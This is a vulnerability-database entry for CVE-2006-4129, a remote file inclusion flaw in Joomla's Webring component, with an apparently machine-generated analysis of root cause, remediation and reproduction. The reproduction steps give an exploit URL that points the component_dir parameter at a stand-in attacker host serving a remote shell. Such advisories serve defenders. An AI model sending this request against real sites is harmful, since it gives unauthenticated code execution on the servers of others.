CVE-2006-4129
Description
PHP remote file inclusion vulnerability in admin.webring.docs.php in the Webring Component (com_webring) 1.0 and earlier for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the component_dir parameter.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2cpe:2.3:a:joomla:webring_component:1.0:*:*:*:*:*:*:*+ 1 more
- cpe:2.3:a:joomla:webring_component:1.0:*:*:*:*:*:*:*
- (no CPE)range: <=1.0
Patches
Vulnerability mechanics
Root cause
"Unsanitized user-supplied URL in the `component_dir` parameter is passed directly to `require_once`, enabling remote file inclusion."
Attack vector
An attacker can supply a URL in the `component_dir` HTTP GET parameter to `admin.webring.docs.php`. Because the parameter is passed directly to `require_once` without validation, PHP will include and execute the remote file specified by the attacker [ref_id=1]. The exploit URL pattern is `http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?` [ref_id=1]. No authentication is required, and the attacker only needs network access to the Joomla! instance.
Affected code
The vulnerable file is `admin.webring.docs.php` in the Webring Component (com_webring) for Joomla!. On line 12, the code calls `require_once ($component_dir. "mungdocs.class.php")`, using the `$component_dir` parameter directly without sanitization [ref_id=1].
What the fix does
No patch is provided in the bundle. The advisory does not specify a fix, but the remediation for this class of vulnerability is to validate that `$component_dir` is a local path (e.g., by checking it against an allowlist of known component directories or by using a hardcoded base path) rather than accepting an arbitrary URL. The underlying issue is that user-supplied input flows directly into a `require_once` statement without sanitization [ref_id=1].
Preconditions
- configThe Joomla! instance must have the Webring Component (com_webring) version 1.0 or earlier installed.
- networkThe attacker must be able to reach the vulnerable admin.webring.docs.php script over HTTP.
- inputThe attacker supplies a URL in the component_dir GET parameter pointing to a malicious PHP script.
Reproduction
1. Host a malicious PHP script (e.g., a remote shell) at a URL such as `http://evil_scripts/shell.txt?`. 2. Send a request to the target: `http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?` [ref_id=1]. 3. The trailing `?` ensures the appended `mungdocs.class.php` string is treated as a query parameter rather than a file path, allowing the remote script to execute.
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
7- www.securityfocus.com/bid/19492nvdExploit
- secunia.com/advisories/21495nvdVendor Advisory
- www.securityfocus.com/archive/1/443211/100/0/threadednvd
- www.securityfocus.com/bid/19511nvd
- www.vupen.com/english/advisories/2006/3272nvd
- exchange.xforce.ibmcloud.com/vulnerabilities/28350nvd
- www.exploit-db.com/exploits/2177nvd
News mentions
0No linked articles in our index yet.